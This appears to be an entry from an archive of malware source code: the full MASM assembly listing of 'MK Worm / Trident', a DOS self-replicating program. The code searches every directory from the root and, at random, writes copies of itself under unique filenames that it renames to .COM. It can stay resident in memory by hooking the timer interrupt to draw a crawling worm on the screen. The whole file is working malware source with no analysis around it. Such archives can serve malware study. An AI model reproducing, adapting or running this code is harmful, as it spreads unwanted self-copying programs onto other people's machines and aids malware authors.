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MalwareSourceCode/MSDOS/M-Index/Virus.MSDOS.Unknown.mkworm.asm

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;**********************************************************************
;*
;* MK Worm
;*
;* Compile with MASM 4.0
;*
;**********************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg
.radix 16
org 0100
wormlen equ 8
filelen equ eind - begin
old_dir equ eind
DTA equ offset eind + 100d
;**********************************************************************
;* Main program
;**********************************************************************
begin: call rnd_init
mov bp,DTA ;change DTA
call set_DTA
mov ah,47 ;get name of current directory
cwd
mov si,offset old_dir
int 21
mov dx,offset root_dir ;goto root
call chdir
call search ;search directory's
mov dx,offset old_dir ;goto original directory
call chdir
call rnd_get ;go resident?
and al,0F
jz go_res
int 20
go_res: mov ax,351C ;go resident!
int 21
lea si,oldvec
mov [si],bx
mov [si+2],es
lea dx,routine
mov ax,251C
int 21
mov dx,offset eind
int 27
;**********************************************************************
;* search dir
;**********************************************************************
search: mov dx,offset dirname ;search *.*
mov cx,16
mov ah,4E
finddir: int 21
jc no_dir
test byte ptr [bp+15],10 ;directory?
je next_dir
cmp byte ptr [bp+1E],'.' ;is it '.' or '..' ?
je next_dir
lea dx,[bp+1E] ;goto directory
call chdir
lea bp,[bp+2C] ;change DTA
call set_DTA
call search ;searc directory (recurse!)
lea bp,[bp-2C] ;goto previous DAT
call set_DTA
mov dx,offset back_dir ;'CD ..'
call chdir
next_dir: mov ah,4F ;find next
jmp short finddir
no_dir: call rnd_get ;copy worm to this directory?
and al,3
jnz no_worm
mov dx,offset comname ;search *.com
mov ah,4E
mov cx,06
findcom: int 21
jc makeit
mov ax,word ptr [bp-1A] ;worm already there?
sub ax,filelen
cmp ax,10
jnb no_worm
mov ah,4F
jmp short findcom
makeit: call makeworm ;copy the worm!
no_worm: ret
;**********************************************************************
;* change dir
;**********************************************************************
chdir: mov ah,3Bh
int 21
ret
;**********************************************************************
;* set DTA
;**********************************************************************
set_DTA: mov dx,bp
mov ah,1A
int 21
ret
;**********************************************************************
;* create worm
;**********************************************************************
makeworm: mov ah,5A ;create unique filename
xor cx,cx
mov dx,offset filename
mov si,offset restname
mov byte ptr [si],0
int 21
xchg ax,bx
mov ah,40 ;write worm
mov cx,filelen
mov dx,0100
int 21
call rnd_get ;append a few bytes
and ax,0F
xchg ax,cx
mov dx,0100
mov ah,40
int 21
mov ah,3E ;close file
int 21
lea di,[si+13d] ;copy filename
push di
push si
movsw
movsw
movsw
movsw
mov si,offset comname+1
movsw
movsw
movsb
pop dx ;rename file to .COM
pop di
mov ah,56
int 21
ret
;**********************************************************************
;* new int 1C handler
;**********************************************************************
routine: cli ;save registers
push ds
push es
push ax
push bx
push cx
push dx
push si
push di
push cs
push cs
pop ds
pop es
zzz3: inc byte ptr [count]
mov al,byte ptr [count]
test al,1 ;only every 2nd tick
jz nothing
cmp al,3 ;don't change direction yet
jb zzz2
call rnd_get
and al,3 ;change direction?
jnz zzz2
zzz0: call dirchange ;change direction!
mov al,byte ptr [direction]
xor al,byte ptr [old_direc]
and al,1
jz zzz0 ;90 degrees with old direction?
zzz2: call getnext ;calculate next position
call checknext ;does it hit the border?
jc zzz0
mov al,byte ptr [direction] ;save old direction
mov byte ptr [old_direc],al
call moveworm
mov ah,0F ;ask video mode
int 10
cmp al,7
jz goodmode
cmp al,4
jnb nothing
cmp al,2
jb nothing
goodmode: mov ah,3 ;read cursor position
int 10
push dx
call printworm
pop dx ;restore cursor position
mov ah,2
int 10
nothing: pop di
pop si
pop dx
pop cx
pop bx
pop ax
pop es
pop ds
sti
jmp cs:[oldvec] ;original vector
oldvec dd 0
;**********************************************************************
;* changes direction of worm
;**********************************************************************
dirchange: call rnd_get ;get random numbar
and al,2
mov ah,byte ptr [direction] ;change direction 90 degrees
xor ah,0FF
and ah,1
or ah,al
mov byte ptr [direction],ah
mov byte ptr [count],0
ret
;**********************************************************************
;* finds next position of the worm
;**********************************************************************
getnext: mov al,byte ptr [yval+wormlen]
mov byte ptr [yval+wormlen+1],al
mov al,byte ptr [xval+wormlen]
mov byte ptr [xval+wormlen+1],al
mov ah,byte ptr [direction]
cmp ah,3
je is_3
cmp ah,2
je is_2
cmp ah,1
je is_1
is_0: mov al,byte ptr [yval+wormlen] ;up
dec al
mov byte ptr [yval+wormlen+1],al
ret
is_1: mov al,byte ptr [xval+wormlen] ;left
dec al
dec al
mov byte ptr [xval+wormlen+1],al
ret
is_2: mov al,byte ptr [yval+wormlen] ;down
inc al
mov byte ptr [yval+wormlen+1],al
ret
is_3: mov al,byte ptr [xval+wormlen] ;right
inc al
inc al
mov byte ptr [xval+wormlen+1],al
ret
;**********************************************************************
;* checks if worm will hit borders
;**********************************************************************
checknext: mov al,byte ptr [xval+wormlen+1]
cmp al,0
jl fout
cmp al,80d
jae fout
mov al,byte ptr [yval+wormlen+1]
cmp al,0
jl fout
cmp al,25d
jae fout
clc
ret
fout: stc
ret
;**********************************************************************
;* move the worm
;**********************************************************************
moveworm: mov si,offset xval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
mov si,offset yval+1
lea di,[si-1]
mov cx,wormlen+1
rep movsb
ret
;**********************************************************************
;* print the worm on screen
;**********************************************************************
printworm: mov si,offset xval
call move
mov al,20 ;print space on rear end
call print
mov cx,wormlen-1
lup: call move
mov al,0F ;print dots
call print
loop lup
call move
mov al,2 ;print head of worm
call print
ret
;**********************************************************************
;* move the cursor
;**********************************************************************
move: mov ah,[si+wormlen+2]
lodsb
xchg ax,dx
mov ah,02
int 10
ret
;**********************************************************************
;* print a character
;**********************************************************************
print: push cx
mov ah,09
mov bl,0C
mov cx,1
int 10
pop cx
ret
;****************************************************************************
;* random number generator
;****************************************************************************
rnd_init: push cx
call rnd_init0
and ax,000F
inc ax
xchg ax,cx
random_lup: call rnd_get
loop random_lup
pop cx
ret
rnd_init0: push dx ;initialize generator
push cx
mov ah,2C
int 21
in al,40
mov ah,al
in al,40
xor ax,cx
xor dx,ax
jmp short move_rnd
rnd_get: push dx ;calculate a random number
push cx
push bx
mov ax,0
mov dx,0
mov cx,7
rnd_lup: shl ax,1
rcl dx,1
mov bl,al
xor bl,dh
jns rnd_l2
inc al
rnd_l2: loop rnd_lup
pop bx
move_rnd: mov word ptr cs:[rnd_get+4],ax
mov word ptr cs:[rnd_get+7],dx
mov al,dl
pop cx
pop dx
ret
;**********************************************************************
;* data
;**********************************************************************
db ' MK Worm / Trident '
root_dir db '\',0
back_dir db '..',0
dirname db '*.*',0
comname db '*.COM',0
filename db '.\'
restname db (26d) dup (?)
xval db 32d, 34d, 36d, 38d, 40d, 42d, 44d, 46d, 48d, 0
yval db (wormlen+2) dup (12d)
direction db 3
old_direc db 3
count db 0
eind:
cseg ends
end begin
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